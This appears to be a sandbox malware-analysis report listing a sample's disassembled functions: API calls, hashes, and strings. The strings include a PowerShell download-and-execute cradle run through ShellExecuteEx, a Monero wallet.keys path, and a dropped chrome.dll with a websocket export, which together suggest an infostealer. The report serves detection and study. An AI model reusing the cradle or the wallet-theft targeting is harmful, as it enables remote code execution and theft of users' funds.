String ID:
API String ID: 2540262943-0
Opcode ID: cf3e262bb54edbaef711ebd90b8e5da4449c6a32e1e028011808f5c0ef39bcf6
Instruction ID: b5132beaffa3310e609909b0bb345d933badea75c3cc93da3dcc398e4115ceec
Opcode Fuzzy Hash: cf3e262bb54edbaef711ebd90b8e5da4449c6a32e1e028011808f5c0ef39bcf6
Instruction Fuzzy Hash: 363132B290021C67DF15E7B0DC95EED7338AB48704F40468EB355AA051DE78AA88CB98

Function 004F2EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FAC30: lstrcpy.KERNEL32(00000000,?), ref: 004FAC82
Part of subcall function 004FAC30: lstrcat.KERNEL32(00000000), ref: 004FAC92

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

ShellExecuteEx.SHELL32(0000003C), ref: 004F2FD5

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 004F2F14
')", xrefs: 004F2F03
<, xrefs: 004F2F89
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 004F2F54

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: d3aa4a4cfbec60d0aebc46bd1a21c543a219d3b19cbecd13897ad8bfe569daf1
Instruction ID: 53472e74ecbe114eefdfddc47e3857cdd356d144bc535d42fa6af9a0c70fbfab
Opcode Fuzzy Hash: d3aa4a4cfbec60d0aebc46bd1a21c543a219d3b19cbecd13897ad8bfe569daf1
Instruction Fuzzy Hash: 72410BB190020C9ADB14EFA1C8A6BFDBB79AF10304F40455EE20A77196DF782A59CF59

Function 004F4300 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0145DA80,00000000,00020119,?), ref: 004F4344
RegQueryValueExA.ADVAPI32(?,0145E388,00000000,00000000,00000000,000000FF), ref: 004F4368
RegCloseKey.ADVAPI32(?), ref: 004F4372
lstrcat.KERNEL32(?,00000000), ref: 004F4397
lstrcat.KERNEL32(?,0145E2C8), ref: 004F43AB

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 4b334372bc49d316d97c083977285bd8ec997a3e4bfac3a5beedfdcb4ea5a84f
Instruction ID: eabde9f1986aaba6bec3e0fa8bfd81ae0ab97a001739f893925d11afe22412f7
Opcode Fuzzy Hash: 4b334372bc49d316d97c083977285bd8ec997a3e4bfac3a5beedfdcb4ea5a84f
Instruction Fuzzy Hash: 974196B690010C6BDF14EBA0EC46FFE733CAB88300F00865DB71556181EE7D5A88CBA5

Function 0055CBE2 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 0055CC1F
dllmain_crt_dispatch.LIBCMT ref: 0055CC36
dllmain_raw.LIBCMT ref: 0055CC7E
dllmain_crt_dispatch.LIBCMT ref: 0055CC91
dllmain_raw.LIBCMT ref: 0055CCA4

Memory Dump Source

Source File: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction ID: 724d4a980bd977a2359795c85860e3e22e17eae4c310c575ee611e69edabb4fc
Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction Fuzzy Hash: 0C21AE72D40759AFDB229E15CC569BF3E79FB81B92F05415BFC286B210C3308D498BA0

Function 004F6BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 004F6C0C
sscanf.NTDLL ref: 004F6C39
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004F6C52
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004F6C60
ExitProcess.KERNEL32 ref: 004F6C7A

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 6387252e162361e2466f6b5b50a3b8d5ae58dd9e2e7f85197d019452333fd81c
Instruction ID: d2eb16e62088fa7fd28ffaee23da29c7567e77f6db1d65f041d94c08ee667b4e
Opcode Fuzzy Hash: 6387252e162361e2466f6b5b50a3b8d5ae58dd9e2e7f85197d019452333fd81c
Instruction Fuzzy Hash: 9421ADB5D1420D9BCF08EFE4E945AEEB7B5BF48304F04856EE516B3250EB389604CB69

Function 004F7F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004F7FC7
RtlAllocateHeap.NTDLL(00000000), ref: 004F7FCE
RegOpenKeyExA.ADVAPI32(80000002,0144BF90,00000000,00020119,?), ref: 004F7FEE
RegQueryValueExA.ADVAPI32(?,0145DA00,00000000,00000000,000000FF,000000FF), ref: 004F800F
RegCloseKey.ADVAPI32(?), ref: 004F8022

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ff5f8acdc2ec7f05c76175159ccfa8fab74dddec26ab96b19e57f4b39ac278f5
Instruction ID: 3b9f397c7b2c0335ec7c1259a1ac10a3aa4ab999993567e78248693559bdc94d
Opcode Fuzzy Hash: ff5f8acdc2ec7f05c76175159ccfa8fab74dddec26ab96b19e57f4b39ac278f5
Instruction Fuzzy Hash: 9E110DB1A44209AFD704CF94DD45FBBBBB8FB44B10F108219F615AA280DB795904CBA5

Function 004F93F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0145DF68,00000000,00000000,?,004E9F71,00000000,0145DF68,00000000), ref: 004F93FC
lstrcpyn.KERNEL32(007B7580,0145DF68,0145DF68,?,004E9F71,00000000,0145DF68), ref: 004F9420
lstrlen.KERNEL32(00000000,?,004E9F71,00000000,0145DF68), ref: 004F9437
wsprintfA.USER32 ref: 004F9457

Strings

%s%s, xrefs: 004F9445

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 855ccb3c4f0ca7c6b0ac5abefe0790280e1caf24774bfd0eeb11f05b7040a6c5
Instruction ID: 5e65f8a1ed7f59a83a3594ec7088223d19261d665ac3101851b22f54eb69f027
Opcode Fuzzy Hash: 855ccb3c4f0ca7c6b0ac5abefe0790280e1caf24774bfd0eeb11f05b7040a6c5
Instruction Fuzzy Hash: 9A01DE7550810CFFCB18DFA8C948FAE7B78FF88304F108258F9099B244D639AA51DBA4

Function 004E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004E12B4
RtlAllocateHeap.NTDLL(00000000), ref: 004E12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 004E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004E12F5
RegCloseKey.ADVAPI32(?), ref: 004E12FF

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: f22d39363887b092079493d0a9798e52287352d01323e70f76b2b5e7b8ec9e17
Instruction ID: 9903e1b14129666543a8ad07e6578e36d12a52d7938f5c4f2fe7ac9857a3b26c
Opcode Fuzzy Hash: f22d39363887b092079493d0a9798e52287352d01323e70f76b2b5e7b8ec9e17
Instruction Fuzzy Hash: 3101CD79A4420DBFDB04DFE4DC49FAE7778BB88701F108295FA15A7290D6749A00CBA4

Function 004FCB7E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 004FCC1C
___crtLCMapStringA.LIBCMT ref: 004FCC3C
___crtLCMapStringA.LIBCMT ref: 004FCC61

Strings

, xrefs: 004FCBC6

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 7c486c9fba4c979a1cc1ad1f1e583b1e4acb8da7caa5ce556ad1eb965b2dfdd3
Instruction ID: 2ac1b0b6038d0644da5159327a0871013fd6894b972cb5fd344434c3cd69e97b
Opcode Fuzzy Hash: 7c486c9fba4c979a1cc1ad1f1e583b1e4acb8da7caa5ce556ad1eb965b2dfdd3
Instruction Fuzzy Hash: 634128B010078C9EDB318B24CEC4FFB7BE99B45304F1444EDEA8A97182D2759A45DF68

Function 004F68D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 004F6903

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Part of subcall function 004FACC0: lstrlen.KERNEL32(?,01458FB0,?,\Monero\wallet.keys,00500E1A), ref: 004FACD5
Part of subcall function 004FACC0: lstrcpy.KERNEL32(00000000), ref: 004FAD14
Part of subcall function 004FACC0: lstrcat.KERNEL32(00000000,00000000), ref: 004FAD22

Part of subcall function 004FABB0: lstrcpy.KERNEL32(?,00500E1A), ref: 004FAC15

ShellExecuteEx.SHELL32(0000003C), ref: 004F69C6
ExitProcess.KERNEL32 ref: 004F69F5

Strings

<, xrefs: 004F6979

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: bf16e9f1cd3d06068b587cc0eff1060e113ce78a4768bb899a47df17d001c314
Instruction ID: 7435054bb902377a39e330a1a2785967a5bb0eb585baac8709f2c3f3c78d4309
Opcode Fuzzy Hash: bf16e9f1cd3d06068b587cc0eff1060e113ce78a4768bb899a47df17d001c314
Instruction Fuzzy Hash: F83128F1901218AADB15EB91DC92FEEB778AF48304F40418EF30966191DF786B48CF69

Function 004F8950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00500E10,00000000,?), ref: 004F89BF
RtlAllocateHeap.NTDLL(00000000), ref: 004F89C6
wsprintfA.USER32 ref: 004F89E0

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Strings

%dx%d, xrefs: 004F89D7

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 258948f8afee18ed15e7a5740dc25dd0799de1fee177c633ae001d3e39419026
Instruction ID: f0759327fae63ed0984612d40a94dba65555cff16d5a2ecd5bf9b47fe21c4be8
Opcode Fuzzy Hash: 258948f8afee18ed15e7a5740dc25dd0799de1fee177c633ae001d3e39419026
Instruction Fuzzy Hash: E92133B1A44208AFDB04DF94DD45FAEBBB8FB48711F108219F615B72C0C7795900CBA5

Function 004EA090 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 004EA098

Strings

connect_to_websocket, xrefs: 004EA0B3
C:\ProgramData\chrome.dll, xrefs: 004EA093
free_result, xrefs: 004EA0C9

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

